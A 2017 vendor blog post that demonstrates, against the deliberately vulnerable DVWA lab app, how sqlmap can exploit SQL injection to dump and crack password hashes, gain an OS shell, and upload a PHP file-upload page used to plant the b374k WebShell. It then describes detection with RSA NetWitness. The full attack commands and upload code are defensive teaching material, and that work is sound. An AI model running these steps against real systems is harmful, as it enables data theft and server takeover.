Halim Abouzeid

From SQL Injection to WebShell

Blog Post created by Halim Abouzeid Employee on Apr 10, 2017

An SQL Injection attack is not only limited to dumping a database, but can also allow the attacker to upload files to the remote server and consequently gain remote access via a WebShell.

WebShells can receive commands from the attackers mainly using 2 methods:

  • based on GET requests, which can easily be detected through logs and SIEM solutions as the commands are visible in the URL
  • based on POST, which is a bit more stealthy as the commands are submitted in the payload and therefore not part of the logs

 

We will see how to:

  • use sqlmap to perform an SQL Injection attack
  • dump the database using sqlmap
  • use sqlmap to automatically provide WebShell access based on GET requests
  • use sqlmap to upload a custom and more advanced WebShell (b374k) which relies on POST

To test the SQL Injections, we will use the DVWA (Damn Vulnerable Web Application), which is a web application purposely built with vulnerabilities and weaknesses for pen-testing.

 

Then we will see how the RSA NetWitness Suite can help in identifying SQL Injections and WebShells (whether using POST or GET).

 

 

Performing the SQL Injection Attack

We first need to access the web application, in my case, it is located at http://192.168.1.128

 

To access the internal pages (which contains the vulnerable page), we first need to login. In a real life scenario, the vulnerability might not require authentication, or, the attacker could have gotten access to a valid user account through a phishing attack or brute-forcing. In our case, we will consider that we already have an account, admin/password.

Once logged in, we will go to the page which is vulnerable to SQL Injections. Again, in our case, we already know which page it is. Typically we could have use a web application vulnerability scanner to crawl the website and look for weaknesses.

 

To perform the attack, we will need 2 things:

  • The URL containing the parameters that need to be tested for vulnerabilities
  • The authentication cookie, as we need to be authenticated to be able to access the page, and therefore sqlmap will need to have access to reach the page

 

To get the cookie value, in Chrome,  it can be found in "Inspect --> Application --> Cookies"

 

We will now use this is sqlmap to test the page for SQL Injection vulnerabilities.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low"

sqlmap will try to identify the type of database as well as any parameter within the page vulnerable to SQL Injections. In our case, it identified that the "id" parameter is vulnerable and that the back-end database is MySQL.

 

We will now add the "--dbs" argument at the end of the command to list the available databases on the web server.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --dbs

 

sqlmap outputs the available databases. We want to look at the tables available under the "dvwa" database. To do that, we will replace "--dbs" with "-D dvwa --tables" to specifically list the tables of that database.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa --tables

 

sqlmap outputs the avialble tables. One of them is the "users" tables. We now want to output the columns of that table. To do that, we will replace "--tables" with "-T users --columns"

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users --columns

 

We can see there are 2 columns of interest, "user" and "password". To dump the content of these tables, we will replace "--columns" with "-C user,password --dump"

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users -C user,password --dump

 

sqlmap provides us with a list of usernames and password hashes. We can also see that sqlmap provides the option to store the hashes to try and crack them using a dictionary attack. We will answer "Y" to that and we will use the default dictionary.

 

sqlmap now shows the usernames with their respective clear-text passwords based on the dictionary attack.

This shows how sqlmap can be used to dump the content of a database. But sqlmap also provides the option to get shell access (via a WebShell).

 

 

 

 

Gaining WebShell Access with sqlmap

Using the same command structure, instead of listing databases, we will provide the "--os-shell" argument. This will make sqlmap upload a simple WebShell to the web server and interact with.

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --os-shell

 

sqlmap will ask for some information regarding the language used by the web server. In our case it is PHP, so it knows to upload a PHP WebShell. We will also upload it to the default location (/xampp/htdocs/). We are provided with an interactive shell from which we can send commands and get the output back.

 

The problem with this type of WebShell is that it's very basic and uses GET requests, which can be easily detected using logs and SIEM solutions.

Next we will look how to upload our own files using sqlmap (instead of the default WebShell provided by sqlmap), such as the b374k WebShell.

 

 

 

Uploading Custom Files and WebShells using sqlmap

sqlmap allows to download and upload custom files. We will therefore use the "--file-write" and "--file-dest" parameters to upload our own files.

We will start by uploading a PHP upload page, from which we will be able to upload any file we want to the web server.

The following is the "upload.php" file:

<html>
<body>

<?php
$path_name = pathinfo($_SERVER['PHP_SELF']);
$this_script = $path_name['basename'];
?>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
File: <input name="file" type="file" /><br />
<input type="submit" value="Upload" /></form>

<?php

if (!empty($_FILES["file"]))
{
if ($_FILES["file"]["error"] > 0)
{echo "Error: " . $_FILES["file"]["error"] . "<br>";}
else
{echo "Stored file:".$_FILES["file"]["name"]."<br/>Size:".($_FILES["file"]["size"]/1024)." kB<br/>";
move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
}
}

// open this directory
$myDirectory = opendir(".");
// get each entry
while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
$indexCount = count($dirArray);
echo "$indexCount files<br/>";
sort($dirArray);

echo "<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n";

for($index=0; $index < $indexCount; $index++)
{
if (substr("$dirArray[$index]", 0, 1) != ".")
{
echo "<TR>
<td><a href=\"$dirArray[$index]\">$dirArray[$index]</a></td>
<td>".filetype($dirArray[$index])."</td>
<td>".filesize($dirArray[$index])."</td>
</TR>";
}
}
echo "</TABLE>";
?>

</body>
</html>

Once we upload this file, we will be able to access it through a browser and use it to upload our WebShell.

To upload the "upload.php" file using sqlmap, we will use the following command:

sqlmap -u "http://192.168.1.128/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --file-dest="/xampp/htdocs/upload.php" --file-write="~/Desktop/upload.php"

In the above command, "/xampp/htdocs/upload.php" is the location where to write the file on the remote web server, and the "~/Desktop/upload.php" is the location of the WebShell on the local machine of the attacker.

 

Once uploaded, we can then access the upload page from a browser at the "http://192.168.1.128/upload.php" URL, from where we can upload the "b374k.php" WebShell (or any other file as well).

 

Once uploaded, we can then access the WebShell either by clicking on the filename in the list, or by browsing to http://192.168.1.128/b374k.php

We now have access to a more advanced WebShell which allows us to:

 

Browse the file system, download files, upload files ...

 

List running processes with the option to kill them.

 

Or have an interactive shell from where to execute commands.

 

And all of it from an easy to use, user friendly graphic interface.

And most importantly, using POST requests instead of GET, which allows the specific commands executed not to be detected by the web server logs.

 

 

 

 

Detection

Now that we have seen how to perform this attack, here are some ways to detect the different steps using the RSA NetWitness Suite.

 

Using RSA NetWitness Packets, it is possible to detect SQL Injection attempts, whether the tool is abusing parameters in the URL (GET) or from within forms (POST), as the whole payload is captured and analyzed, as opposed to only the URL. In the below example we can see that RSA NetWitness Packets was able to detect the SQL Injection.

 

 

Then, it is possible to identify the the actual WebShell file that is being used, as well as the commands executed by the attacker. RSA NetWitness Packets is also able to identify that the web session contains CLI commands, which is an indicator of WebShell activity.

 

 

Having the entire network payload, it is also possible to reconstruct the WebShell session and see the commands and outputs, providing insight into what the attacker was actually able to get.

 

 

Using RSA NetWitness Endpoint, we would also be able to see the web server service running CLI commands, which is a suspicious behavior and typical of WebShells. The tracking section would allow us to see the exact commands executed.

 

Using both packets and endpoint, we would be able to identify the SQL Injection, the WebShell files used as part of the attack and the exact commands executed by the attacker, providing the full scope of the attack to the analyst. 

Outcomes